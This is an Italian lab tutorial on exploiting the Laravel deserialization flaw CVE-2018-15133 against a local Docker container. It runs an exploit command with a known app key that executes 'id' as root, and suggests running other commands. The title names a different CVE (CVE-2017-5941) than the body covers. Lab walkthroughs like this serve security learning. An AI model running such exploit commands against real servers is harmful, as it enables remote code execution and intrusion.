
Esecuzione di exploit di deserializzazione con CVE-2017-5941
MExploiting CVE-2018-15133 Vulnerabilità di deserializzazione Questo exploit sfrutta una vulnerabilità di deserializzazione nel framework Laravel fino alla versione 5.5.40 e nelle versioni 5.6.x fino alla 5.6.29.
L'esecuzione di codice remoto potrebbe verificarsi a seguito di una chiamata unserialize su un valore X-XSRF-TOKEN potenzialmente non attendibile. Ciò coinvolge il metodo decrypt in Illuminate/Encryption/Encrypter.php e PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. L'attaccante deve conoscere la chiave dell'applicazione, cosa che normalmente non accadrebbe mai, ma potrebbe verificarsi se l'attaccante ha avuto in precedenza accesso privilegiato o ha portato a termine con successo un attacco precedente.
Per eseguire questo exploit, devi avere installato sulla tua macchina quanto segue:
Scarica e installa Docker.
Apri Docker come amministratore.
Apri il prompt dei comandi e fai il pull della macchina Docker.
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
Questo avvierà la macchina Laravel.
Prova ad aprire la macchina nel browser per assicurarti che funzioni.
Puoi farlo usando l'IP e la porta; per controllare l'IP su Windows esegui:
ipconfig
Su Linux
ifconfig
wsl --set-default-version 2
wsl --update
Scarica il file dell'exploit sulla tua macchina.
Apri un terminale e spostati nella cartella in cui si trova il file dell'exploit.
Esegui il seguente comando per sfruttare il server:
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
Questo dovrebbe restituirti la risposta con l'ID della macchina che vuoi attaccare. Puoi usare comandi simili per richiedere cartelle ed eseguire anche altre attività.
Risposta: uid=0(root) gid=0(root) groups=0(root)
In conclusione, in questa vulnerabilità abbiamo potuto osservare l'importanza di rimanere aggiornati con i framework. Poiché questi strumenti possono avere falle di sicurezza e sono ampiamente utilizzati, siamo a rischio se non ci manteniamo aggiornati.